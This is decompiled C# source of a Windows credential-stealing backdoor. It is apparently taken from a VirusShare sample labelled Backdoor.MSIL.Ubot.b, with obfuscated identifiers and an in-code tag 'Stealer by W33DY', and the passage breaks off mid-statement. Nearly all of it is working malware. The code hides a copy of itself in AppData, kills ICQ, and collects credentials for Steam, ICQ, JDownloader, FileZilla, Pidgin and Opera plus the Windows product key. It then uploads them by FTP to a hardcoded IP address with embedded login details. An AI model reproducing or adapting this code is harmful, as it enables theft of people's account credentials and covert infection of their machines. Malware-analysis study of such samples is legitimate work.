5F9554D6-83E0-47C2-9D3F-094C1F4E42EE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Collections.Generic; -using System.Data; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading; -using System.Windows.Forms; -using System.Xml; - -[StandardModule] -internal sealed class yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl -{ - private static TextBox AText = new TextBox(); - private static TextBox BText = new TextBox(); - private static ListBox ListBox1 = new ListBox(); - private static string[] BpKzqFPxxkXyVhvdugkKyvpIFcxWcYknCXZisnQgyTmgWCLLKP; - private static string steamstring; - private static string zszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfbmESnbl = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Steam", "InstallPath", (object) "")); - private static string JEhiPjowmSbbafCJQuIHXadVtJClUWqTYliReEEfnBcvbzRrSd = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.zszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfbmESnbl + "\\config\\SteamAppData.vdf"; - public static string signon; - public static string IPAdresse; - private static IntPtr NSS3; - private static byte[] opera_salt = new byte[11] - { - (byte) 131, - (byte) 125, - (byte) 252, - (byte) 15, - (byte) 142, - (byte) 179, - (byte) 232, - (byte) 105, - (byte) 115, - (byte) 175, - byte.MaxValue - }; - private static byte[] key_size = new byte[4] - { - (byte) 0, - (byte) 0, - (byte) 0, - (byte) 8 - }; - private static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - public static string DOutput; - private static int c = 0; - private static int c1 = 0; - private static int c2 = 0; - private static bool firstrun = true; - private static string ReturnValue; - private static string sUrlTemp; - private static string sUserTemp; - private static string sPassTemp; - private static string[] sUrl = new string[1001]; - private static string[] sUser = new string[1001]; - private static string[] sPass = new string[1001]; - private static int lasturl = 0; - private static bool ftp = false; - private static string[] Lines; - private static string[] LoginData = new string[3001]; - - [STAThread] - public static void Main() - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Location = new Point(24, 20); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.BText.Text = Conversions.ToString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetSteamUsername()); - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Melt("aWKfV.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.IPAdresse = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Process[] processesByName = Process.GetProcessesByName("ICQ"); - int index = 0; - while (index < processesByName.Length) - { - processesByName[index].Kill(); - checked { ++index; } - } - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ncwmdrCkkXYyIUwQuTlwlicurPyJPLXnoKMVsaDTzGZhWCxxwC(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TvDbsYmmzeKXixjs(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WmNNdTVNmPtrZOiZQdoXWKKltGiChGXjXVPheBkvBxJabwxHfM(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.mlCGIzZogRyBVxDRNvJiiKTfHbGewWwICUDaKUaWiyOVXgEyce(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.KdJhyLywqJGcMXdZkCDYZjHnRgNUmukQLMKPztBeGqHLOFeHlW(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WCLLKPzszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfb(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.KYUDRqqRamPiOlEdEPJbKhRbhdpGVcenLGjlSYrzpVQQPUFMTj(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetOperaa(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.kLblosnDhhhJ(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.yxORUMkzsdLNhKPcmIVJuWsrTBSEIiJUOgdzVumitLavisQLoq(); - try - { - MyProject.Computer.Network.UploadFile(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString(), "ftp://91.234.105.109/" + MyProject.Computer.Name.ToString() + ".txt", "Anomaly", "*secure0*$"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - ProjectData.EndApp(); - } - - internal static object KdJhyLywqJGcMXdZkCDYZjHnRgNUmukQLMKPztBeGqHLOFeHlW() - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.BpKzqFPxxkXyVhvdugkKyvpIFcxWcYknCXZisnQgyTmgWCLLKP = MyProject.Computer.FileSystem.ReadAllText(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.JEhiPjowmSbbafCJQuIHXadVtJClUWqTYliReEEfnBcvbzRrSd).Split('"'); - return (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.BpKzqFPxxkXyVhvdugkKyvpIFcxWcYknCXZisnQgyTmgWCLLKP[9]; - } - - public static object GetSteamUsername() - { -label_0: - int num1; - object obj; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Valve\\Steam", "SteamPath", (object) "")); -label_2: - num3 = 3; - string file = str + "\\config\\SteamAppData.vdf"; -label_3: - num3 = 4; - string[] strArray = MyProject.Computer.FileSystem.ReadAllText(file).Split('"'); -label_4: - num3 = 5; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray[9], "", false) == 0) - goto label_7; -label_5: - num3 = 6; - strArray[9] = strArray[9]; -label_6: - num3 = 7; - obj = (object) strArray[9]; - goto label_15; -label_7: - num3 = 9; -label_8: - obj = (object) null; - goto label_15; -label_10: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - case 11: - case 12: - goto label_15; - case 9: - goto label_7; - case 10: - goto label_8; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_10; - } - throw ProjectData.CreateProjectError(-2146828237); -label_15: - object steamUsername = obj; - if (num2 == 0) - return steamUsername; - ProjectData.ClearProjectError(); - return steamUsername; - } - - public static void yxORUMkzsdLNhKPcmIVJuWsrTBSEIiJUOgdzVumitLavisQLoq() - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - DateTime now = DateTime.Now; -label_1: - num3 = 2; - object Instance = (object) new StreamWriter(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString()); -label_2: - ProjectData.ClearProjectError(); - num1 = 1; -label_3: - num3 = 4; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) "Stealer by W33DY" - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_4: - num3 = 5; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("Date/Time: " + now.ToString()) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_5: - num3 = 6; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("PC Name: " + MyProject.Computer.Name) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_6: - num3 = 7; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("IP: " + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.IPAdresse) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_7: - num3 = 8; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("Windows Version: " + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetOSVersion()) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_8: - num3 = 9; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("Windows Key: " + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.OSProductKey("HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion", "DigitalProductId")) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_9: - num3 = 10; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_10: - num3 = 11; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.AText.Text + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_11: - num3 = 12; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_12: - num3 = 13; - int num4 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Items.Count - 1); - int index = 0; - goto label_16; -label_13: - num3 = 14; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Items[index], (object) "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_14: - num3 = 15; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_15: - num3 = 16; - checked { ++index; } -label_16: - if (index <= num4) - goto label_13; -label_17: - num3 = 17; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetOperaa() - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_18: - num3 = 18; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ncwmdrCkkXYyIUwQuTlwlicurPyJPLXnoKMVsaDTzGZhWCxxwC() - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_19: - num3 = 19; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_20: - num3 = 20; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WmNNdTVNmPtrZOiZQdoXWKKltGiChGXjXVPheBkvBxJabwxHfM() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_21: - num3 = 21; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_22: - num3 = 22; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.mlCGIzZogRyBVxDRNvJiiKTfHbGewWwICUDaKUaWiyOVXgEyce() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_23: - num3 = 23; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_24: - num3 = 24; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) "Application: Steam\r\nUsername: ", yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.KdJhyLywqJGcMXdZkCDYZjHnRgNUmukQLMKPztBeGqHLOFeHlW()), (object) "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_25: - num3 = 25; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_26: - num3 = 26; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WCLLKPzszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfb() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_27: - num3 = 27; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_28: - num3 = 28; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.kLblosnDhhhJ() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_29: - num3 = 29; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_30: - num3 = 30; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_31: - num3 = 31; - NewLateBinding.LateCall(Instance, (System.Type) null, "Close", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); - goto label_38; -label_33: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_17; - case 18: - goto label_18; - case 19: - goto label_19; - case 20: - goto label_20; - case 21: - goto label_21; - case 22: - goto label_22; - case 23: - goto label_23; - case 24: - goto label_24; - case 25: - goto label_25; - case 26: - goto label_26; - case 27: - goto label_27; - case 28: - goto label_28; - case 29: - goto label_29; - case 30: - goto label_30; - case 31: - goto label_31; - case 32: - goto label_38; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_33; - } - throw ProjectData.CreateProjectError(-2146828237); -label_38: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static void Melt(string NewName) - { - try - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Application.StartupPath, folderPath, false) != 0) - { - FileSystem.FileCopy(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, folderPath + "\\" + NewName); - Interaction.Shell(folderPath + "\\" + NewName + " " + Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName); - FileAttributes fileAttributes = FileAttributes.Hidden; - System.IO.File.SetAttributes(folderPath + "\\" + NewName, fileAttributes); - ProjectData.EndApp(); - } - else - FileSystem.Kill(Interaction.Command()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string gwcqPBHXULYDADOrwheWpKJ(string ZDehjJRDjdkZgavKV) - { - string str1 = nameof (gwcqPBHXULYDADOrwheWpKJ); - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = str1.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = str1.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - int location3 = 1; - while (location3 <= ZDehjJRDjdkZgavKV.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(ZDehjJRDjdkZgavKV.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1)); - } - string str2 = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str2; - } - - public static string GetOSVersion() - { - switch (Environment.OSVersion.Platform) - { - case PlatformID.Win32S: - return "Win 3.1"; - case PlatformID.Win32Windows: - switch (Environment.OSVersion.Version.Minor) - { - case 0: - return "Windows 95"; - case 10: - return "Windows 98"; - case 90: - return "Windows ME"; - default: - return "Unknown"; - } - case PlatformID.Win32NT: - switch (Environment.OSVersion.Version.Major) - { - case 3: - return "Windows NT 3.51"; - case 4: - return "Windows NT 4.0"; - case 5: - switch (Environment.OSVersion.Version.Minor) - { - case 0: - return "Windows 2000"; - case 1: - return "Windows XP"; - case 2: - return "Windows 2003"; - } - break; - case 6: - return "Windows 7 / Vista"; - default: - return "Unknown"; - } - case PlatformID.WinCE: - return "Windows CE"; - } - string osVersion; - return osVersion; - } - - public static string OSProductKey(string KeyPath, string ValueName) - { - string Expression = ""; - try - { - object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0)); - if (objectValue == null) - return "N/A"; - string str1 = ""; - int num1 = Information.LBound((Array) objectValue); - int num2 = Information.UBound((Array) objectValue); - int num3 = num1; - while (num3 <= num2) - { - str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - int num4 = 52; - int num5 = 67; - string[] strArray1 = new string[25] - { - "B", - "C", - "D", - "F", - "G", - "H", - "J", - "K", - "M", - "P", - "Q", - "R", - "T", - "V", - "W", - "X", - "Y", - "2", - "3", - "4", - "6", - "7", - "8", - "9", - null - }; - int num6 = 29; - int num7 = 15; - string[] strArray2 = new string[16]; - string[] strArray3 = new string[31]; - string str2 = ""; - int num8 = num4; - int num9 = num5; - int num10 = num8; - while (num10 <= num9) - { - strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num10 - }, (string[]) null)); - str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]); - checked { ++num10; } - } - int index1 = checked (num6 - 1); - while (index1 >= 0) - { - if (checked (index1 + 1) % 6 == 0) - { - strArray3[index1] = "-"; - Expression += "-"; - } - else - { - int index2 = 0; - int index3 = checked (num7 - 1); - while (index3 >= 0) - { - int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3]))); - strArray2[index3] = Conversions.ToString(num11 / 24); - index2 = num11 % 24; - checked { index3 += -1; } - } - strArray3[index1] = strArray1[index2]; - Expression += strArray1[index2]; - } - checked { index1 += -1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return Strings.StrReverse(Expression); - } - - internal static string ncwmdrCkkXYyIUwQuTlwlicurPyJPLXnoKMVsaDTzGZhWCxxwC() - { - StringBuilder stringBuilder = new StringBuilder(); - string[] directories = Directory.GetDirectories(Interaction.Environ("APPDATA") + "\\ICQ", "*", SearchOption.TopDirectoryOnly); - int num = checked (directories.Length - 1); - int index1 = 0; - while (index1 <= num) - { - if (Versioned.IsNumeric((object) directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)])) - { - string str = Encoding.Unicode.GetString(System.IO.File.ReadAllBytes(!System.IO.File.Exists(directories[index1] + "\\Owner.mdb") ? directories[index1] + "\\Owner.qdb" : directories[index1] + "\\Owner.mdb")).Replace("\0", ""); - long startIndex = (long) str.IndexOf("StoredPassword"); - string Left = ""; - if (startIndex > 0L) - { - byte[] numArray = Convert.FromBase64String(Strings.Mid(str.Substring(checked ((int) startIndex)).Replace(Conversions.ToString(Strings.Chr(132)), ""), 17, 44)); - int index2 = 0; - do - { - Left = Conversion.Hex(numArray[index2]).Length >= 2 ? Left + Conversion.Hex(numArray[index2]) : Left + "0" + Conversion.Hex(numArray[index2]); - checked { ++index2; } - } - while (index2 <= 15); - } - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0) - stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword: " + Left + "\r\n\r\n"); - else - stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword : - \r\n\r\n"); - } - checked { ++index1; } - } - return stringBuilder.ToString(); - } - - internal static string mlCGIzZogRyBVxDRNvJiiKTfHbGewWwICUDaKUaWiyOVXgEyce() - { - string str1 = ""; - StringBuilder stringBuilder = new StringBuilder(); - string str2 = ""; - string path = Interaction.Environ("Programfiles(x86)") != null ? Interaction.Environ("programfiles(x86)") + "\\jDownloader\\config\\database.script" : Interaction.Environ("programfiles") + "\\jDownloader\\config\\database.script"; - if (!System.IO.File.Exists(path)) - return ""; - string str3 = "INSERT INTO CONFIG VALUES('AccountController','"; - string[] strArray1 = System.IO.File.ReadAllLines(path); - int num1 = checked (strArray1.Length - 1); - int index1 = 0; - while (index1 <= num1) - { - if (strArray1[index1].Contains(str3)) - { - string str4 = strArray1[index1].Substring(checked (str3.Length - 1)).Substring(1, checked (strArray1[index1].Length - str3.Length + 1 + 3)); - int num2 = checked (str4.Length - 1); - int startIndex = 0; - while (startIndex <= num2) - { - str1 += Conversions.ToString(Strings.Chr(Conversions.ToInteger("&H" + str4.Substring(startIndex, 2)))); - checked { startIndex += 2; } - } - string str5 = ""; - string[] strArray2 = str1.Split(char.MinValue); - int num3 = checked (strArray2.Length - 1); - int index2 = 0; - while (index2 <= num3) - { - int CharCode = 1; - do - { - strArray2[index2] = strArray2[index2].Replace(Conversions.ToString(Strings.Chr(CharCode)), ""); - checked { ++CharCode; } - } - while (CharCode <= 31); - strArray2[index2] = strArray2[index2].Replace("ÿ", ""); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray2[index2], "", false) != 0) - str5 = str5 + "\r\n" + strArray2[index2]; - checked { ++index2; } - } - string[] strArray3 = str5.ToString().Split('\r'); - int num4 = checked (strArray3.Length - 2); - int index3 = 0; - while (index3 <= num4) - { - if (strArray3[index3].EndsWith("sq") & strArray3[index3].IndexOf(".") > 0) - str2 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 2)); - if (strArray3[index3].EndsWith("t") & strArray3[checked (index3 + 1)].EndsWith("xt")) - { - string str6 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 1)); - string str7 = strArray3[checked (index3 + 1)].Substring(0, checked (strArray3[index3 + 1].Length - 2)); - if (str6.Length > 4) - stringBuilder.Append("Application: JDownloader\r\nHost: " + str2 + "\r\nUser: " + str7 + "\r\nPass: " + str6 + "\r\n\r\n"); - } - checked { ++index3; } - } - } - checked { ++index1; } - } - return stringBuilder.ToString(); - } - - public static string kLblosnDhhhJ() - { - XmlDocument xmlDocument = new XmlDocument(); - object Left = (object) null; - string str1 = ""; - string str2 = Interaction.Environ("appdata") + "\\FileZilla\\recentservers.xml"; - if (System.IO.File.Exists(str2)) - { - try - { - xmlDocument.Load(str2); - XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("Host"); - XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("Port"); - XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("User"); - XmlNodeList elementsByTagName4 = xmlDocument.GetElementsByTagName("Pass"); - int num = checked (elementsByTagName1.Count - 1); - int i = 0; - while (i <= num) - { - Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: FileZilla"), (object) "\r\n"), (object) "Host: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Port: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName4[i].InnerText), (object) "\r\n"), (object) "\r\n"); - checked { ++i; } - } - str1 = Conversions.ToString(Left); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - return str1; - } - - internal static string WCLLKPzszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfb() - { - XmlDocument xmlDocument = new XmlDocument(); - object Left = (object) null; - string str1 = ""; - string str2 = Interaction.Environ("appdata") + "\\.purple\\accounts.xml"; - if (System.IO.File.Exists(str2)) - { - try - { - xmlDocument.Load(str2); - XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("protocol"); - XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("name"); - XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("password"); - int num = checked (elementsByTagName1.Count - 1); - int i = 0; - while (i <= num) - { - Left = 